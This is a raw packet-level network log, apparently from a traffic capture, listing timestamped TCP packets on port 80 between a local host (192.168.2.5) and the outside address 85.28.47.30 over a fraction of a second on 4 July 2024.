Jul 4, 2024 22:20:31.935062885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935072899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935082912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935102940 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935187101 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935199976 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935230970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935291052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935300112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935353994 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935456991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935467958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935477972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935487986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935513973 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935513973 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935539961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935707092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935717106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935726881 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935739994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935755968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935766935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935770988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935770988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935777903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935789108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935801029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.935806036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935820103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935853004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.936409950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936424971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936434031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936446905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936465025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936475992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936485052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.936485052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.936492920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.936496019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936507940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936518908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936522007 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.936530113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936541080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936547995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.936547995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.936552048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936564922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936568022 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.936573982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936583996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.936587095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.936597109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.936640024 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.937449932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937462091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937470913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937483072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937494040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937504053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937510967 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.937510967 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.937515974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937526941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937536955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937546968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937550068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.937550068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.937558889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937568903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937577009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.937581062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937591076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937602043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937607050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.937607050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.937616110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.937617064 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.937640905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.937666893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.938430071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938442945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938453913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938466072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938476086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938477993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.938477993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.938488007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938497066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938503027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938513994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938514948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.938514948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.938524961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938535929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938541889 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.938545942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938559055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.938566923 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.938585043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.938585043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.939186096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939197063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939212084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939222097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939232111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939243078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939251900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.939251900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.939254045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939265966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939268112 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.939277887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939287901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939290047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.939290047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.939299107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939308882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939315081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.939320087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939331055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939341068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.939342022 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.939342022 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.939372063 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.939392090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.940090895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940103054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940113068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940123081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940133095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940143108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940143108 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.940155029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940165997 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.940165997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940179110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940186024 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.940191031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940201044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940207005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.940217018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.940226078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.940237999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.940257072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.027525902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.027537107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.027549982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.027595043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.027667999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.027735949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.027748108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.027756929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.027787924 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.027796030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.027806044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.027837038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.027837038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.027853012 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.028085947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028160095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028175116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028230906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.028261900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028275013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028285027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028318882 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.028318882 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.028422117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028431892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028436899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028441906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028485060 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.028485060 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.028642893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028654099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028664112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028673887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028687000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028697014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028709888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.028709888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.028728008 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.028985023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.028994083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029002905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029014111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029025078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029036045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029047966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.029047966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.029093981 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.029292107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029310942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029352903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.029352903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.029390097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029401064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029409885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029431105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.029463053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.029566050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029577017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029587984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029598951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029608965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029619932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029629946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029634953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.029634953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.029640913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.029680014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.029680014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030069113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030078888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030088902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030102968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030112982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030122995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030126095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030134916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030141115 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030147076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030158997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030169964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030184031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030184031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030210972 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030734062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030745983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030755043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030765057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030775070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030785084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030788898 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030796051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030797005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030807018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030818939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030827999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030836105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030836105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030839920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030853033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030863047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030868053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030879974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030890942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030891895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.030903101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030922890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.030936956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.031702995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031718969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031728983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031738043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031749010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031759977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031770945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031780005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031790018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031795979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.031795979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.031802893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031806946 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.031815052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031825066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031836033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031845093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.031846046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031862974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031867981 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.031867981 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.031874895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.031900883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.031923056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.032789946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.032802105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.032810926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.032820940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.032830954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.032841921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.032847881 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.032852888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.032865047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.032866001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.032876968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.032886982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.032896996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.032896996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.032896996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.032937050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.032937050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.033152103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033164024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033173084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033183098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033195019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033205032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033221006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.033221006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.033251047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033253908 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.033262968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033273935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033283949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033294916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033304930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033313990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033314943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.033314943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.033324957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033334970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033344984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.033358097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.033366919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.033390045 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.034076929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.034089088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.034097910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.034109116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.034152031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.034152031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.121318102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.121371984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.121381998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.121506929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.121511936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.121562958 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.121573925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.121584892 CEST	80	49704	85.28.47.30	192.168.2.5
